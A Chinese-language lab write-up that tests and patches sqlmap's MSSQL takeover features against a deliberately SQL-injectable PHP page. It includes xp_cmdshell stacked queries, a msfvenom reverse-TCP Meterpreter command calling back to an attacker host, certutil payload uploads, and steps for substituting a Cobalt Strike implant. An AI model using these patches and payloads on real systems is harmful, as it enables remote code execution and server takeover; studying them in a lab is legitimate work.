0x00 環境概述
環境說明:
-
Windows 2003 + MSSQL + PHP5.2.17 (注意刷新緩存 --flush-session)
-
關閉GPC
-
構造SQL注入:
<?php
$id = $_GET['id'];
$con = mssql_connect('127.0.0.1','sa','server2005');
if(!$con){
echo "Erroe";
}
else{
echo "Connect OK.</br>";
}
mssql_select_db('sqlmap_test');
# $sql = "exec master..xp_cmdshell 'whoami'";
$sql = "select id,name from admin where id=".$id;
$result = mssql_query($sql);
/* $row = mssql_fetch_array($result);
echo $row[0]; */
while($list=mssql_fetch_array($result))
{
print_r($list);
echo "<br>";
}
}
0x01 測試sqlmap命令
--os-shell
--sql-shell
--os-pwn
--os-smbrelay
--os-bof
--reg-[read/add/del]
--os-shell
該參數主要是調用xp_cmdshell執行系統命令。
- 執行
--os-shell
,之后直接在數據庫中查看,發現已啟用xp_cmdshell
。發現能執行命令,但是sqlmap無返回值。只能通過DNS外帶。。。
--sql-shell
主要用於是執行數據庫語句。
- 使用
--sql-shell
,測試能否通過sql-shell
手動開啟xp_cmdshell
。結果發現無法開啟xp_cmdshell。手動開啟xp_cmdshell
后,sql-shell
可以執行命令,sqlmap無返回值。
--os-pwn
獲取OOBshell、MSF shell、VNC。。。
--os-pwn
獲取OOB shell、Meterpreter或VNC。在默認關閉xp_cmdshell
情況下,該參數無法開啟xp_cmdshell
。
手動開啟xp_cmdshell
以后,使用sqlmap參數:--os-pwn --msf-path /opt/msf/
,會先上傳一個paylaod。查看SQLAMP上傳文件的方式一共有4種:PowerShell,Debug,Vbs腳本,Certutil。如果第一種方式失敗會提示下一種方式,我這里測試所有的通信方式以及payload,均失敗。。。
--os-smbrelay
一次單擊提示輸入OOB shell、Meterpreter或VNC。該參數提供了五種連接方式,三種payload類型,兩個SMB端口。其原理就是調用MSF的windows/smb/smb_relay
模塊。。。
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
>
what is the local address? [Enter for '192.168.90.17' (detected)]
which local port number do you want to use? [7545]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
which SMB port do you want to use?
[1] 139/TCP
[2] 445/TCP (default)
--os-bof
存儲過程緩沖區溢出利用。參數提供了五種連接方式,三種payload,十二種payload編碼方式。
經過測試還是失敗的。。。
--reg-[read/add/del]
- 讀取/添加/修改注冊表,會上傳.bat文件,文件上傳成功,但是並未接受到讀取的值..
0x02 反思
經過以上測試(關閉GPC下),肯定是有很多疑問的,這里列舉一下:
為什么--os-shell執行命令后sqlmap無返回值?
為什么--os-pwn參數上傳文件失敗?
為什么--os-bof利用存儲過程緩沖區溢出也失敗?
為什么讀取注冊表時候文件上傳了而sqlmap無法獲取到?
命令執行反思
經過以上測試,為什么無法執行命令呢?這里再來復述一遍,找一下為什么這樣。
- 首先確定一下:多語句執行,也即是堆疊注入時候的返回值。只返回了第一個查詢
id=1
的內容。
- 查看直接在數據庫執行時的返回,返回了兩條結果。
- 查看源代碼,修改
/sqlmap/1.4.4/libexec/lib/request/inject.py
文件goStacked
函數最后一行,輸出sqlmap最終執行的payload並測試該paylaod直接在數據庫執行時狀態。結果發現,數據庫執行的語句。發現報錯了,無法插入數據,因為列不允許有空值。(--os-shell時候會創建表sqlmapoutput,該表有兩個字段id, data)
- 查看表sqlmapoutput,發現字段不允許為空。
仔細觀察上面測試,會發現問題:
-- 第一個問題:sqlmap創建的表填充字段時,字段內容不允許為空。
-- 第二個問題:多語句查詢時,返回兩條結果,而第二條結果包含兩個字段內容。
-- 比如:
select name from admin where id =1;EXEC master..xp_cmdshell whoami
結果:
zhangsan
nt authority\system
NULL
那么問題來了,是不是這樣呢?測試:修改sqlmapoutput表的data字段,將其設置為允許為空:
發現成功寫入。。。
於是利用Sublime全局搜索CREATE TABLE
找到MSSQL創建表的語句,將其設置為字段允許為空即可。
# /sqlmap/1.4.4/libexec/plugins/generic/misc.py 124行,創建表時字段名后加一個NULL
再來測試:
到這里已經可以正確的執行--os-shell
等。
注冊表操作反思
- 根據
命令執行反思
,修改之后,發現讀取注冊表時候報錯。
- 直接在數據庫中執行會因路徑中存在空格而報錯。
那么這里就有思路了,將payload上傳到其不含有空格或特殊字符的文件夾。(首先嘗試PS寫.bat,不成功使用VB,因為我03沒有PS,所以是VB)
# 修改上傳路徑:
# 全局搜索字符串:.bat
# /sqlmap/1.4.4/libexec/lib/takeover/registry.py 27行 注釋掉原本語句,改為如下
self._randStr = randomStr(lowercase=True)
# self._batPathRemote = "\"%s/tmpr%s.bat\"" % (conf.tmpPath, self._randStr)
self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)
聯動MSF反思
首先跟蹤代碼,查看sqlmap調用MSF過程:
/Users/lnx/Desktop/1.4.4/libexec/plugins/generic/takeover.py
osPwn函數開始
第一步:首先測試xp_cmdshell是否開啟
第二步:/sqlmap/1.4.4/libexec/plugins/generic/takeover.py osPwn函數調用MSF生成RAW格式shellcode
文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py中函數createMsfShellcode生成shellcode
/opt/metasploit-framework/bin/msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=21453 LHOST=192.168.90.17 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > "/Users/lnx/.sqlmap/output/192.168.90.14/tmpmydff"
第三步:文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 617行 函數createMsfShellcode又以字節的格式讀取生成的文件。
self._shellcodeFP = open(self._shellcodeFilePath, "rb")
self.shellcodeString = getText(self._shellcodeFP.read())
self._shellcodeFP.close()
第四步:上傳,上傳又分為三步
1、首先是調用/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 函數uploadShellcodeexec
處理,得到最終上傳的payload路徑和計划上傳到服務器的路徑:
/var/folders/xx/6jy_czp97nl76bslj74817d40000gn/T/sqlmapCazl8M8626/tmpKjHjBr32_.exe(最終)
C:/Program Files/Microsoft SQL Server/MSSQL.1/MSSQL/LOG/tmpsecwjq.exe(目標服務)
2、函數uploadShellcodeexec調用/sqlmap/1.4.4/libexec/plugins/generic/filesystem.py 函數writeFile實現文件上傳
3、函數writeFile調用/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 函數stackedWriteFile 嘗試使用ps、vbs、debug、certutil進行文件上傳(我這里是certutil)
4、函數stackedWriteFile在上傳時調用了當前文件內的函數_stackedWriteFileCertutilExe進行上傳。
函數_stackedWriteFileCertutilExe:
首先讀取之前處理好的payload.exe(最終的exe)進行Base64編碼;
然后將其寫入到目標機的txt文件中;
之后調用certutil進行解碼txt文件輸出exe文件,然后執行;
最后刪除txt文件。
這里就是無法收到MSF反彈,直接在CMD中執行命令,發現由於路徑空格問題無法成功解碼成exe。。。
終於找到問題所在了。
那么來修改一下,第一種是利用引號將路徑擴起來,第二種是修改文件上傳的路徑。
這里使用第一種。
# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 376行,添加雙引號
commands = (
"cd \"%s\"" % tmpPath,
"certutil -f -decode %s \"%s\"" % (randFile, remoteFile),
"del /F /Q %s" % randFile
)
修改sqlmap解碼payload的參數,讓其正確識別路徑即可。
那么嘗試加載Cobalt Strike呢?
經過測試,CS生成的RAW格式shellcode替換掉sqlmap調用MSF生成的Raw格式(/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py
617行左右。),無法成功反彈。(未仔細分析生成shellcode后,sqlmap對其處理的邏輯。)
那么直接替換最終上傳的exe文件。
- 替換exe,有必要的話可以直接input,接受輸入。
# 文件/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 393行左右,讀文件
# 將localFile替換成CS的exe馬,即可,我這里是默認的,沒有指定x64,指定了x64不上線。。
# localFile = "/Users/lnx/Desktop/test.exe"
with open(localFile, "rb") as f:
localFileContent = f.read()
這里思路已經給出,可以直接修改sqlmap代碼,將payload改成上傳powershell或則其他類型payload,以以適用於高版本的操作系統。
存儲過程緩沖區溢出反思
參數:--os-bof
只針對03 的,不過我這里一次都沒成功。/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py
文件中可以看到具體的代碼。
- 首先調用msfvenom生成Raw格式payload然后
/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py
再617行,以rb
讀取得到shellcodestring
。 - 再經過
/Users/lnx/Desktop/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py
70行前后代碼處理得到最終的代碼。。。然后發送帶有Payload的HTTP請求。。。(這里不附錄payload,太長了,可以去改文件輸出,看一下。)
這里復制最終的代碼,直接在數據庫中執行,發現服務器堆棧溢出。。。。。沒有接受到反彈。。
因為菜,暫未找到好辦法。。。
0x03 總結
經過以上測試,還是有點收獲的,畢竟能夠執行命令了,而且知道了sqlmap無法通過MSSQL執行的原因以及修復方式。
命令執行--os-shell
成因:
第一個問題:sqlmap創建的表填充字段時,字段內容不允許為空。
第二個問題:多語句查詢時,返回兩條結果,而第二條結果包含兩個字段內容。
修復:
修改所有關於MSSQL創建表時字段屬性,添加NULL
# /sqlmap/1.4.4/libexec/plugins/generic/misc.py 124行,創建表時字段名后加一個NULL
# 如下:
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName, silent=True)
if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName:
inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s NULL)" % (tblName, tblField, tblType))
else:
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 96行
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s NULL)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
注冊表 --reg-[]
成因:
sqlmap無法讀取注冊表是因為路徑中包含空格,導致參數被截斷。
修復:
# 修改上傳路徑:
# 全局搜索字符串:.bat
# /sqlmap/1.4.4/libexec/lib/takeover/registry.py 27行 注釋掉原本語句,改為如下
self._randStr = randomStr(lowercase=True)
# self._batPathRemote = "\"%s/tmpr%s.bat\"" % (conf.tmpPath, self._randStr)
self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)
MSF&CS聯動
成因:
payload成功上傳,但是解碼時候,路徑出現空格截斷,導致命令錯誤。
修復:
# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 376行,添加雙引號
commands = (
"cd \"%s\"" % tmpPath,
"certutil -f -decode %s \"%s\"" % (randFile, remoteFile),
"del /F /Q %s" % randFile
)